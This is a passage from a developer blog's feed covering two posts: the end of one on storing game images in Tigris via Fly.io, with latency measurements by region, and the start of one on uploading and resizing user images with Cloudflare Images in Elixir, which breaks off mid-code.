#e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It works, great. Now, let&apos;s upload all images of our game.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#upload-many-files&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;upload-many-files&quot;&gt;&lt;/a&gt;Upload many Files&lt;/h2&gt;
&lt;p&gt;I used a &lt;a href=&quot;https://www.kaggle.com/datasets/gpiosenka/sports-classification?resource=download&quot;&gt;dataset&lt;/a&gt; of 500 images of 100 sports to seed images for the &lt;code&gt;RecIt&lt;/code&gt; guessing game. You can find it on &lt;a href=&quot;https://github.com/PJUllrich/rec-it/tree/main/data/valid&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now, the challenge is uploading all 500 images to our S3 bucket. AWS S3 doesn&apos;t offer an &lt;em&gt;&quot;upload multiple files at once&quot;&lt;/em&gt; endpoint, so Tigris doesn&apos;t either. However, in S3, you can upload a complete folder using their UI. Tigris provides a handy dashboard of your buckets but has no folder upload (yet). If you&apos;re interested in the dashboard, you can open it with &lt;code&gt;fly storage dashboard&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I wrote a &lt;a href=&quot;https://github.com/PJUllrich/rec-it/blob/main/lib/mix/tasks/upload_data.ex&quot;&gt;Mix Task&lt;/a&gt; that uploads the files 1-by-1. It&apos;s not perfect, but it works. If you want to migrate a lot of data to Tigris, I suggest you use their &lt;a href=&quot;https://www.tigrisdata.com/docs/migration/&quot;&gt;data migration command&lt;/a&gt; instead.&lt;/p&gt;
&lt;p&gt;Next, we need the environment variables of the production bucket to upload the images. Fly doesn&apos;t reveal the environment variables of your machines, but we can create a remote IEx connection to your Elixir application and read them out anyway.&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Open a SSH tunnel to your machine&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fly&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;ssh&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;console&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Start a remote IEx session&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bin&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;my&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;app&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;remote&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Print the ExAws config&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_all_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we copy and paste both &lt;code&gt;AWS_*&lt;/code&gt; variables to our local &lt;code&gt;.env&lt;/code&gt; file, restart the terminal, and run &lt;code&gt;mix upload_data&lt;/code&gt;. The upload process takes around 2 minutes.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#testing-the-latency&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;testing-the-latency&quot;&gt;&lt;/a&gt;Testing the Latency&lt;/h2&gt;
&lt;p&gt;Now that we have a working game at &lt;a href=&quot;https://rec-it.fly.dev&quot;&gt;rec-it.fly.dev&lt;/a&gt;, we can test the latency benefit that Tigris promises.&lt;/p&gt;
&lt;p&gt;I tested the latency in 4 regions with a simple test setup. First, I hard-coded the images that the game returns. This allowed me to record how long a file download took before and after caching. Whenever a new image appeared, I wrote down the download time as reported in the Network tab of my browser. I used NordVPN to switch through 4 regions and recorded the download times in each. I changed my NordVPN server three times in every region to account for latency differences caused by a slow server.&lt;/p&gt;
&lt;p&gt;This setup is far from perfect and not scientific, but it gives us a rough indication of the performance increase we could expect.&lt;/p&gt;
&lt;p&gt;At first, I had to guess from which region Tigris served my file. I contacted the co-founder and CEO of Tigris, &lt;a href=&quot;https://www.linkedin.com/in/ovaistariq/&quot;&gt;Ovais Tariq&lt;/a&gt;, and after just a few days, they added a special &lt;code&gt;Tigris-Object-Header&lt;/code&gt; to the response, which shows the region from which they served a file. Try getting that level of support from AWS!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/tigris/headers.png&quot; alt=&quot;A screenshot of the response headers for downloading a single image. The response header &apos;Tigris-Object-Region&apos; shows &apos;fra&apos; as the region from where the file was served.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Back to the test setup. I assumed that the first time I downloaded an image, Tigris would serve it from the region where I uploaded it, Amsterdam. That means that in regions other than Amsterdam, the download time would be quite long for the first request but speed up significantly with the second request because Tigris cached the file in the new region. That&apos;s indeed what happened. Below are the average download times for the first and second requests. The raw data is on &lt;a href=&quot;https://github.com/PJUllrich/rec-it/blob/main/data/times.csv&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;| Client Location | Avg. Time of 1st Request | Avg. Time of 2nd Request (Cached) |&lt;br /&gt;
| --------------- | ------------------------ | --------------------------------- |&lt;br /&gt;
| Amsterdam, NL   | 24ms                     | 23ms                              |&lt;br /&gt;
| Sydney, AUS     | 863ms                    | 340ms (-60%)                      |&lt;br /&gt;
| Dallas, USA     | 406ms                    | 188ms (-55%)                      |&lt;br /&gt;
| Sao Paulo, BR   | 728ms                    | 297ms (-60%)                      |&lt;/p&gt;
&lt;p&gt;As you can see, the differences are significant. Tigris decreased the time it took to download a file by 55-60% in all three regions! And all I had to do was change a few lines of my &lt;code&gt;ExAws&lt;/code&gt; configuration.&lt;/p&gt;
&lt;p&gt;One option I haven&apos;t tried is the &lt;a href=&quot;https://www.tigrisdata.com/docs/concepts/architecture/#distributed-caching&quot;&gt;Cache on write&lt;/a&gt; configuration, which should eliminate the latency difference between the first and second requests. If you set that option, Tigris will cache your files proactively even before a user requests it from another region. I assume this option will significantly increase your invoice, so use it only if necessary.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I must admit that I was quite impressed by Tigris. Switching to it from S3 took only a small code change, their &lt;a href=&quot;https://www.tigrisdata.com/docs/&quot;&gt;documentation&lt;/a&gt; is exhaustive, and their team is very supportive and responsive. I can&apos;t see a difference between their &lt;a href=&quot;https://www.tigrisdata.com/docs/pricing/&quot;&gt;pricing&lt;/a&gt; and S3&apos;s &lt;a href=&quot;https://aws.amazon.com/s3/pricing/&quot;&gt;pricing&lt;/a&gt; except for the data transfer between regions, which was not finalized at the time of writing. Once they are out of beta, I will certainly consider them for storing files in production applications.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, check out my latest startup &lt;a href=&quot;https://indiecourses.com&quot;&gt;Indie Courses&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/distribute-your-files-globally-with-tigris-and-fly"/>
    <id>https://peterullrich.com/distribute-your-files-globally-with-tigris-and-fly</id>
    <title>Distribute your Files Globally with Tigris and Fly.io</title>
    <updated>2024-02-13T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome back to another article! Let&apos;s end the year with one last dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;My boss asked me why I only get sick on work days.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;I said it must be my weekend immune system.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alrighty! Let&apos;s dive into today&apos;s topic: How to resize and host user-provided images with Cloudflare Images.&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h1&gt;
&lt;p&gt;For my startup &lt;a href=&quot;indiecourses.com&quot;&gt;Indie Courses&lt;/a&gt;, I recently ran into the issue that I had to handle user-provided images. In particular, I wanted to resize their images to fit the aspect ratio and size in which I display them. Otherwise, a user could upload a 2MB file with 10000x10000px although I&apos;d display it only in 200x200px.&lt;/p&gt;
&lt;p&gt;First, I wanted to require the user to provide their video course assets like cover and thumbnail images in a predefined aspect ratio and size. But that would have been bad UX and I believe strongly that software should handle such transformation.&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h1&gt;
&lt;p&gt;I didn&apos;t want to resize the images myself, so I looked into third-party services that allow me to resize and host the images. I&apos;m a long-time customer of Cloudflare and was excited to see that they offer &lt;a href=&quot;https://www.cloudflare.com/developer-platform/cloudflare-images/&quot;&gt;Cloudflare Images&lt;/a&gt; now. It lets you upload and resize your images in a multitude of variants &lt;strong&gt;for free!&lt;/strong&gt; You only pay per image, not per size variant. So, I had a solution, I just needed to implement it.&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-code&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-code&quot;&gt;&lt;/a&gt;The Code&lt;/h1&gt;
&lt;p&gt;The code was almost straightforward since it required a single API call to Cloudflare to upload and resize the images. Cloudflare returns a list of URLs for the image, with one URL per variant. We can then choose the variant we want to use for the image.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-uploader&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-uploader&quot;&gt;&lt;/a&gt;The Uploader&lt;/h2&gt;
&lt;p&gt;First, we need to upload the image to Cloudflare. Here&apos;s the uploader code:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Storage.Services.UploadImage&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;upload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;byte_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;requested_sizes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Build the Multipart payload&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Multipart.Part&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;file_content_field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;byte_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;filename: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;multipart&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Multipart&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Multipart&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;add_part&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Build the headers&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_length&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Multipart&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;content_length&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;multipart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Multipart&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;multipart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;multipart/form-data&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;headers&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;authorization&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Bearer &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;bearer_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Content-Length&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content_length&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Make the request&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Req&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;headers: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;body: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Multipart&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;body_stream&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;multipart&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_result&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;requested_sizes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_result&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Req.Response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;status: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;body: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;requested_sizes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;result&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;variants&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;variants&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Map the requested sizes to the returned variants&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;size_to_variant_map&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;requested_sizes&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;size&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
